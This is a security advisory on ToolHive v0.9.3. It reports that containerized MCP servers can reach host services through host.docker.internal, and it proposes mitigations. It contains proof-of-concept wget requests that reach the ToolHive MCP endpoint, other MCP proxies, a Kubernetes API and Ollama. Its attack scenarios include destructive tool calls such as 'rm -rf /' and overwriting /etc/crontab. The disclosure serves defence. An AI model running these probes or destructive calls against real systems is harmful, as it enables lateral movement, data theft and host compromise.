ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High — This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

1. Port-scan host.docker.internal to discover listening services
2. Attempt MCP handshakes on discovered ports
3. Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

• List and stop other running MCP servers (denial of service)
• Start new MCP servers with attacker-controlled images
• Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

1. insecure_allow_all: true as default — permits outbound connections to any destination including host.docker.internal
2. No authentication on ToolHive API / MCP proxies — any client that can reach the port can interact fully
3. Docker's host.docker.internal DNS — resolves to the host machine, bypassing localhost-only binding assumptions

Suggested Mitigations

Short-term

• Block host.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecure_allow_all is enabled. These should require explicit opt-in.
• Add authentication to MCP proxy endpoints — even a shared secret or token per session would prevent cross-container lateral movement.

Medium-term

• Network policy per container — ToolHive already has the permission_profile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
• Isolate container networks — run each MCP server in its own Docker network with no access to the Docker bridge gateway.

Long-term

• Mutual TLS or token-based auth between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
• Audit logging — log all MCP tool calls with source identification so lateral movement attempts are visible.

Environment

• ToolHive v0.9.3 (macOS desktop app, Docker runtime)
• Docker Desktop for Mac (host.docker.internal enabled by default)
• Tested with docker.io/mcp/filesystem:latest